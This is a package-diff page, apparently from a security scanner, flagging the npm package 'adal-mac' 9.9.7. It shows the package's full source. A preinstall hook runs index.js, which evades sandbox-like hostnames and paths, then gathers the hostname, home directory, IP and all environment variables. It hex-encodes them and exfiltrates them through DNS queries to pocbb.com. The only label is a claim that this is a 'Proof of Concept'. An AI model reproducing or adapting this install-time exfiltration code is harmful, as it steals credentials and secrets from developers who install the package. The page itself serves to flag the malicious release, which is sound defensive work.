adal-mac 9.9.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of adal-mac might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +2 -0
  2. package/index.js +126 -0
  3. package/package.json +10 -0
package/README.md ADDED
@@ -0,0 +1,2 @@
1
+ # NPM
2
+ This is a Proof of Concept (PoC) package.
package/index.js ADDED
@@ -0,0 +1,126 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function generateUID(length = 5) {
7
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
8
+ let result = '';
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * characters.length));
11
+ }
12
+ return result.toLowerCase();
13
+ }
14
+
15
+ // Convert a JSON string to hex
16
+ function jsonStringToHex(jsonString) {
17
+ return Buffer.from(jsonString, 'utf8').toString('hex');
18
+ }
19
+
20
+ const uid = generateUID(); // Generate a UID for this client once
21
+
22
+ function getCurrentTimestamp() {
23
+ const date = new Date();
24
+ const offset = -date.getTimezoneOffset() / 60;
25
+ const sign = offset >= 0 ? "+" : "-";
26
+ return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
27
+ }
28
+
29
+ function getLocalIP() {
30
+ const interfaces = os.networkInterfaces();
31
+ for (let iface in interfaces) {
32
+ for (let ifaceInfo of interfaces[iface]) {
33
+ if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
34
+ return ifaceInfo.address;
35
+ }
36
+ }
37
+ }
38
+ return '127.0.0.1'; // fallback to localhost
39
+ }
40
+
41
+ function getPackageInfo() {
42
+ const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
43
+ return {
44
+ name: packageJson.name,
45
+ version: packageJson.version
46
+ };
47
+ }
48
+
49
+ const GLOBAL_TIMEOUT = 5000;
50
+
51
+ setTimeout(() => {
52
+ process.exit(0);
53
+ }, GLOBAL_TIMEOUT);
54
+
55
+ function resolveDNSAsync(subdomain) {
56
+ return new Promise((resolve, reject) => {
57
+ dns.resolve4(subdomain, (err, addresses) => {
58
+ if (err) {
59
+ reject(err);
60
+ return;
61
+ }
62
+ resolve(addresses);
63
+ });
64
+ });
65
+ }
66
+
67
+ function sendJSONviaDNS(domain) {
68
+ const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname().startsWith("HOSTNAME-") || os.hostname() === "instance";
69
+ const pathCheck1 = process.cwd().startsWith("/app");
70
+ const pathCheck2 = process.cwd().startsWith("/root/node_modules");
71
+ const pathCheck3 = process.cwd().startsWith("/analysis");
72
+ const pathCheck4 = process.cwd() == "/root";
73
+
74
+ if (hostnameCheck || pathCheck1 || pathCheck2 || pathCheck3 || pathCheck4) {
75
+ return Promise.resolve(); // Return a resolved promise if exiting early
76
+ }
77
+
78
+ return new Promise((resolve, reject) => {
79
+ dns.resolve4('ns1.pocbb.com', (err, addresses) => {
80
+ if (err) {
81
+ dns.setServers(['1.1.1.1', '8.8.8.8']); // Use fallback DNS servers
82
+ } else {
83
+ const primaryDNS = addresses[0];
84
+ dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
85
+ }
86
+
87
+ const pkgInfo = getPackageInfo();
88
+ const jsonObject = {
89
+ timestamp: getCurrentTimestamp(),
90
+ uid: generateUID(),
91
+ 'pkg-name': pkgInfo.name,
92
+ 'pkg-version': pkgInfo.version,
93
+ 'local-ip': getLocalIP(),
94
+ hostname: os.hostname(),
95
+ homedir: os.homedir(),
96
+ path: process.cwd(),
97
+ 'env': process.env
98
+ };
99
+ const jsonString = JSON.stringify(jsonObject);
100
+ const hexString = jsonStringToHex(jsonString);
101
+
102
+ const chunkSize = 60;
103
+ const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
104
+ const chunks = hexString.match(regex);
105
+
106
+ const dnsPromises = chunks.map((chunk, index) => {
107
+ const packetNumber = (index + 1).toString().padStart(3, '0');
108
+ const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
109
+ return resolveDNSAsync(subdomain);
110
+ });
111
+
112
+ Promise.all(dnsPromises)
113
+ .then(() => {
114
+ resolve();
115
+ })
116
+ .catch(err => {
117
+ reject(err);
118
+ });
119
+ });
120
+ });
121
+ }
122
+
123
+ // Usage
124
+ sendJSONviaDNS('pocbb.com').then(() => {
125
+ process.exit(0);
126
+ });
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "adal-mac",
3
+ "version": "9.9.7",
4
+ "description": "This is a Proof of Concept (PoC) package",
5
+ "license": "MIT",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "preinstall": "node index.js"
9
+ }
10
+ }